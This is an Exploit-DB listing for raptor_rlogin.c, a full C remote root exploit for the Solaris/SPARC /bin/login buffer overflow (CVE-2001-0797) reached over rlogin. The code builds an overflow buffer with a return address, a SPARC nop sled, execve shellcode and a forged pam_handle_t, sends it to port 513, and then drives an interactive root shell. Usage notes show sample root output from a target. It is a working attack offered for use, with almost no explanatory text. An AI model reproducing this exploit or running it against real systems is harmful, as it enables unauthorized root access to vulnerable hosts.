标题: Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - '/bin/login' Remote Buffer Overflow EDB-ID: 716 CVE: 2001-0797 类型: REMOTE 平台: SOLARIS 发布日期: 2004-12-24 漏洞利用脚本: /*
 * $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in login in various System V based operating systems 
 * allows remote attackers to execute arbitrary commands via a large number 
 * of arguments through services such as telnet and rlogin (CVE-2001-0797).
 *
 * Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
 *
 * This remote root exploit uses the (old) System V based /bin/login 
 * vulnerability via the rlogin attack vector, returning into the .bss 
 * section to effectively bypass the non-executable stack protection
 * (noexec_user_stack=1 in /etc/system).
 *
 * Many thanks to scut <scut@nb.in-berlin.de> (0dd) for his elite pam_handle_t
 * technique (see 7350logout.c), also thanks to inode <inode@deadlocks.info>.
 *
 * Usage (must be root):
 * # gcc raptor_rlogin.c -o raptor_rlogin -Wall
 * [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
 * # ./raptor_rlogin -h 192.168.0.50
 * [...]
 * # id;uname -a;uptime;
 * uid=0(root) gid=0(root)
 * SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
 *   7:45pm  up 12 day(s), 18:42,  1 user,  load average: 0.00, 0.00, 0.01
 * #
 *
 * Vulnerable platforms (SPARC):
 * Solaris 2.5.1 without patch 106160-02 [untested]
 * Solaris 2.6 without patch 105665-04 [untested]
 * Solaris 7 without patch 112300-01 [untested]
 * Solaris 8 without patch 111085-02 [tested]
 */

#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define INFO1 "raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define BUFSIZE 3000   // max size of the evil buffer
#define RETADDR 0x27184   // retaddr, should be reliable
#define TIMEOUT 10   // net_read() default timeout
#define CMD "id;uname -a;uptime;\n" // executed upon exploitation

char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";

char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";

/* prototypes */
int exploit_addchar(unsigned char *ww, unsigned char wc);
void fatalerr(char *func, char *error, int fd);
int net_connect(char *host, int port, int timeout);
int net_read(int fd, char *buf, int size, int timeout);
int net_resolve(char *host);
int sc_copy(unsigned char *buf, char *str, long len);
void set_val(char *buf, int pos, int val);
void shell(int fd);
void usage(char *progname);

/*
 * main()
 */
int main(int argc, char **argv)
{
 char buf[BUFSIZE], *p = buf;
 char c, *host = NULL, term[] = "vt100/9600";
 int fd, i, found, len;
 int timeout = TIMEOUT, debug = 0;

 /* print exploit information */
 fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

 /* parse command line */
 if (argc < 2)
  usage(argv[0]);

 while ((c = getopt(argc, argv, "dh:t:")) != EOF)
  switch(c) {
  case 'h':
   host = optarg;
   break;
  case 't':
   timeout = atoi(optarg);
   break;
  case 'd':
   debug = 1;
   break;
  default:
   usage(argv[0]);
  }

 if (!host)
  usage(argv[0]);

 /* connect to the target host */
 fd = net_connect(host, 513, 10);
 fprintf(stderr, "# connected to remote host: %s\n", host);

 /* signal handling */
 signal(SIGPIPE, SIG_IGN);

 /* begin the rlogin session */
 memset(buf, 0, sizeof(buf));

 if (send(fd, buf, 1, 0) < 0)
  fatalerr("send", strerror(errno), fd);

 if (net_read(fd, buf, sizeof(buf), timeout) < 0)
  fatalerr("error", "Timeout reached in rlogin session", fd);

 /* dummy rlogin authentication */
 memcpy(p, "foo", 3);  // local login name
 p += 4;
 memcpy(p, "bar", 3);  // remote login name
 p += 4;
 memcpy(p, term, sizeof(term)); // terminal type
 p += sizeof(term);

 fprintf(stderr, "# performing dummy rlogin authentication\n");
 if (send(fd, buf, p - buf, 0) < 0)
  fatalerr("send", strerror(errno), fd);

 /* wait for password prompt */
 found = 0;
 memset(buf, 0, sizeof(buf));

 while (net_read(fd, buf, sizeof(buf), timeout)) {
  if (strstr(buf, "assword: ") != NULL) {
   found = 1;
   break;
  }
  memset(buf, 0, sizeof(buf));
 }

 if (!found)
  fatalerr("error", "Timeout waiting for password prompt", fd);

 /* send a dummy password */
 if (send(fd, "pass\n", 5, 0) < 0)
  fatalerr("send", strerror(errno), fd);

 /* wait for login prompt */
 found = 0;
 memset(buf, 0, sizeof(buf));

 fprintf(stderr, "# waiting for login prompt\n");
 while (net_read(fd, buf, sizeof(buf), timeout)) {
  if (strstr(buf, "ogin: ") != NULL) {
   found = 1;
   break;
  }
  memset(buf, 0, sizeof(buf));
 }

 if (!found)
  fatalerr("error", "Timeout waiting for login prompt", fd);

 fprintf(stderr, "# returning into 0x%08x\n", RETADDR);

 /* for debugging purposes */
 if (debug) {
  printf("# debug: press enter to continue");
  scanf("%c", &c);
 }

 /* prepare the evil buffer */
 memset(buf, 0, sizeof(buf));
 p = buf;

 /* login name */
 memcpy(p, "foo ", 4);
 p += 4;

 /* return address (env) */
 set_val(p, 0, RETADDR);
 p += 4;
 memcpy(p, " ", 1);
 p++;

 /* trigger the overflow (env) */
 for (i = 0; i < 60; i++, p += 2)
  memcpy(p, "a ", 2);

 /* padding */
 memcpy(p, " BBB", 4);
 p += 4;

 /* nop sled and shellcode */
 for (i = 0; i < 398; i++, p += 4)
  memcpy(p, sparc_nop, 4);
 p += sc_copy(p, sc, sizeof(sc) - 1);

 /* padding */
 memcpy(p, "BBB ", 4);
 p += 4;

 /* pam_handle_t: minimal header */
 memcpy(p, "CCCCCCCCCCCCCCCC", 16);
 p += 16;
 set_val(p, 0, RETADDR); // must be a valid address
 p += 4;
 set_val(p, 0, 0x01);
 p += 4;

 /* pam_handle_t: NULL padding */
 for (i = 0; i < 52; i++, p += 4)
  set_val(p, 0, 0x00);

 /* pam_handle_t: pameptr must be the 65th ptr */
 memcpy(p, "\x00\x00\x00 AAAA\n", 9);
 p += 9;

 /* send the evil buffer, 256 chars a time */
 len = p - buf;
 p = buf;
 while (len > 0) {
  fprintf(stderr, "#");
  i = len > 0x100 ? 0x100 : len;
  send(fd, p, i, 0);
  len -= i;
  p += i;
  if (len)
   send(fd, "\x04", 1, 0);
  usleep(500000);
 }
 fprintf(stderr, "\n");
 
 /* wait for password prompt */
 found = 0;
 memset(buf, 0, sizeof(buf));

 fprintf(stderr, "# evil buffer sent, waiting for password prompt\n");
 while (net_read(fd, buf, sizeof(buf), timeout)) {
  if (strstr(buf, "assword: ") != NULL) {
   found = 1;
   break;
  }
  memset(buf, 0, sizeof(buf));
 }

 if (!found)
  fatalerr("error", "Most likely not vulnerable", fd);

 fprintf(stderr, "# password prompt received, waiting for shell\n");

 if (send(fd, "pass\n", 5, 0) < 0)
  fatalerr("send", strerror(errno), fd);

 /* wait for shell prompt */
 memset(buf, 0, sizeof(buf));
 found = 0;

 while (net_read(fd, buf, sizeof(buf), timeout)) {
  if (strstr(buf, "# ") != NULL) {
   found = 1;
   break;
  }
  memset(buf, 0, sizeof(buf));
 }

 if (!found)
  fatalerr("error", "Most likely not vulnerable", fd);

 /* connect to the remote shell */
 fprintf(stderr, "# shell prompt detected, successful exploitation\n\n");
 shell(fd);

 exit(0);
}

/*
 * exploit_addchar(): char translation for pam (ripped from scut)
 */
int exploit_addchar(unsigned char *ww, unsigned char wc)
{
 unsigned char * wwo = ww;

 switch (wc) {
 case ('\\'):
  *ww++ = '\\';
  *ww++ = '\\';
  break;
 case (0xff):
 case ('\n'):
 case (' '):
 case ('\t'):
  *ww++ = '\\';
  *ww++ = ((wc & 0300) >> 6) + '0';
  *ww++ = ((wc & 0070) >> 3) + '0';
  *ww++ = (wc & 0007) + '0';
  break;
 default:
  *ww++ = wc;
  break;
 }

 return (ww - wwo);
}

/*
 * fatalerr(): error handling routine
 */
void fatalerr(char *func, char *error, int fd)
{
 fprintf(stderr, "%s: %s\n", func, error);
 close(fd);
 exit(1);
}

/*
 * net_connect(): simple network connect with timeout
 */
int net_connect(char *host, int port, int timeout)
{
 int   fd, i, flags, sock_len;
 struct sockaddr_in sin;
 struct timeval  tv;
 fd_set   fds;

 /* allocate a socket */
 if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  perror("socket");
  exit(1);
 }

 /* bind a privileged port (FIXME) */
 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = htonl(INADDR_ANY);
 for (i = 1023; i > 0; i--) {
  sin.sin_port = htons(i);
  if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin))))
   break;
 }
 if (i == 0)
  fatalerr("error", "Can't bind a privileged port (must be root)", fd);

 /* resolve the peer address */
 sin.sin_port = htons(port);
 if (!(sin.sin_addr.s_addr = net_resolve(host)))
  fatalerr("error", "Can't resolve hostname", fd);

 /* set non-blocking */
 if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
  fatalerr("fcntl", strerror(errno), fd);
 if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
  fatalerr("fcntl", strerror(errno), fd);

 /* connect to remote host */
 if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) {
  if (fcntl(fd, F_SETFL, flags) < 0)
   fatalerr("fcntl", strerror(errno), fd);
  return(fd);
 }
 if (errno != EINPROGRESS)
  fatalerr("error", "Can't connect to remote host", fd);

 /* set timeout */
 tv.tv_sec = timeout;
 tv.tv_usec = 0;

 /* setup select structs */
 FD_ZERO(&fds);
 FD_SET(fd, &fds);

 /* select */
 if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0)
  fatalerr("error", "Can't connect to remote host", fd);
 
 /* check if connected */
 sock_len = sizeof(sin);
 if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0)
  fatalerr("error", "Can't connect to remote host", fd);
 if (fcntl(fd, F_SETFL, flags) < 0)
  fatalerr("fcntl", strerror(errno), fd);
 return(fd);
}

/*
 * net_read(): non-blocking read from fd
 */
int net_read(int fd, char *buf, int size, int timeout)
{
 fd_set  fds;
 struct timeval wait;
 int  n = -1;

 /* set timeout */
 wait.tv_sec = timeout;
 wait.tv_usec = 0;

 memset(buf, 0, size);

 FD_ZERO(&fds);
 FD_SET(fd, &fds);

 /* select with timeout */
 if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
  perror("select");
  exit(1);
 }

 /* read data if any */
 if (FD_ISSET(fd, &fds))
  n = read(fd, buf, size);

 return n;
}

/*
 * net_resolve(): simple network resolver
 */
int net_resolve(char *host)
{
 struct in_addr addr;
 struct hostent *he;

 memset(&addr, 0, sizeof(addr));

 if ((addr.s_addr = inet_addr(host)) == -1) {
  if (!(he = (struct hostent *)gethostbyname(host)))
   return(0);
  memcpy((char *)&addr.s_addr, he->h_addr, he->h_length);
 }
 return(addr.s_addr);
}

/*
 * sc_copy(): copy the shellcode, using exploit_addchar()
 */
int sc_copy(unsigned char *buf, char *str, long len)
{
 unsigned char *or = buf;
 int   i;

 for(i = 0; i < len; i++)
  buf += exploit_addchar(buf, str[i]);

 return(buf - or);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
 buf[pos] = (val & 0xff000000) >> 24;
 buf[pos + 1] = (val & 0x00ff0000) >> 16;
 buf[pos + 2] = (val & 0x0000ff00) >> 8;
 buf[pos + 3] = (val & 0x000000ff);
}

/*
 * shell(): semi-interactive shell hack
 */
void shell(int fd)
{
 fd_set fds;
 char tmp[128];
 int n;

 /* quote Hvar 2004 */
 fprintf(stderr, "\"Da Bog da ti se mamica nahitavala s vragom po dvoristu!\" -- Bozica (Hrvatska)\n\n");

 /* execute auto commands */
 write(1, "# ", 2);
 write(fd, CMD, strlen(CMD));

 /* semi-interactive shell */
 for (;;) {
  FD_ZERO(&fds);
  FD_SET(fd, &fds);
  FD_SET(0, &fds);

  if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
   perror("select");
   break;
  }

  /* read from fd and write to stdout */
  if (FD_ISSET(fd, &fds)) {
   if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
    fprintf(stderr, "Goodbye...\n");
    break;
   }
   if (write(1, tmp, n) < 0) {
    perror("write");
    break;
   }
  }

  /* read from stdin and write to fd */
  if (FD_ISSET(0, &fds)) {
   if ((n = read(0, tmp, sizeof(tmp))) < 0) {
    perror("read");
    break;
   }
   if (write(fd, tmp, n) < 0) {
    perror("write");
    break;
   }
  }
 }

 close(fd);
 exit(1);
}

void usage(char *progname)
{
 fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]\n\n", progname);
 fprintf(stderr, "-h host\t\tdestination ip or fqdn\n");
 fprintf(stderr, "-t timeout\tnet_read() timeout (default: %d)\n", TIMEOUT);
 fprintf(stderr, "-d\t\tturn on debug mode\n\n");
 exit(1);
}

// milw0rm.com [2004-12-24] URL: https://www.exploit-db.com/exploits/716